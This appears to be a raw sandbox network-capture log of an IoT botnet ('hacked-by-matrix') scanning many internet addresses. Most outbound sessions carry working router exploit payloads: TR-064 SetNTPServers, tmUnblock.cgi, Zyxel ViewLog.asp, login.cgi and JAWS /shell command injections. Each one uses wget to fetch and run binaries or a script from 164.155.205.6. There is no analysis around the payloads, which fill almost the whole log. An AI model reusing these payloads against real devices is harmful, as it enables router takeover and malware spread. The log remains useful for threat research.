Mar 2, 2024 12:38:27.928261042 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1498	192.168.2.23	57146	72.108.54.102	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.375566006 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:26.835681915 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1499	192.168.2.23	45952	104.156.28.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.393594980 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.103442907 CET	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="2b510e052a975cc79d9cd133f70e33950032c1ae",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1500	192.168.2.23	43352	172.105.5.27	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.663671017 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.224476099 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.897304058 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.208040953 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1501	192.168.2.23	51998	98.25.216.73	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.823283911 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1502	192.168.2.23	59906	83.169.29.251	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.075318098 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:27.247729063 CET	183	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sat, 02 Mar 2024 11:38:27 GMT Content-Type: text/html Content-Length: 2867 Connection: keep-alive ETag: "6391baca-b33"
Mar 2, 2024 12:38:27.247822046 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <meta name="robots" content="noarchive"> <meta name="robots" content="noindex, follow"> <meta name="revisit-after
Mar 2, 2024 12:38:27.247843027 CET	1286	IN	Data Raw: 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 20 68 65 69 67 68 74 3a 31 30 70 78 3b 22 3e 0a 20 20 20 20 3c 74 64 3e 0a 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 67 6c 6f 62 61 6c 68 65 72 65 72 72 6f 72 64 6f 63 Data Ascii: le="vertical-align:top; height:10px;"> <td> <img src="/globalhererrordocuments/tabspace5x5.gif" width="10" height="10" alt=""> </td> </tr> <tr style="vertical-align:top;"> <td style="width:10px;"></td> <td class="all"
Mar 2, 2024 12:38:27.248030901 CET	626	IN	Data Raw: 3b 22 3e 54 68 69 73 20 73 69 74 65 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 77 65 Data Ascii: ;">This site is temporarily unavailable.</h2> <h3 style="font-weight:normal;font-size:142%;">Please try again later.</h3> </td> </tr> </table> </td>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1503	192.168.2.23	39446	171.83.88.62	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.215240955 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1504	192.168.2.23	41304	212.26.243.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.299227953 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1505	192.168.2.23	50728	213.121.4.170	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.560172081 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1506	192.168.2.23	45960	104.156.28.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.560854912 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.714390993 CET	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="82c084bb5548d1cb76ccd0174d36b2f80032c1af",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1507	192.168.2.23	57804	104.22.73.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.588257074 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:28.120203972 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1508	192.168.2.23	59466	14.85.181.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.641545057 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:28.569987059 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1509	192.168.2.23	50754	213.121.4.170	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.735599995 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1510	192.168.2.23	55654	172.245.87.81	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.765355110 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:27.881062031 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1511	192.168.2.23	57156	172.65.130.32	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.855966091 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1512	192.168.2.23	52928	169.54.205.119	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.881283998 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:28.017163992 CET	331	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sat, 02 Mar 2024 11:38:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0
Mar 2, 2024 12:38:28.017216921 CET	286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:27 GMT Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:38:28.328092098 CET	286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:27 GMT Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:38:28.743527889 CET	605	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sat, 02 Mar 2024 11:38:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 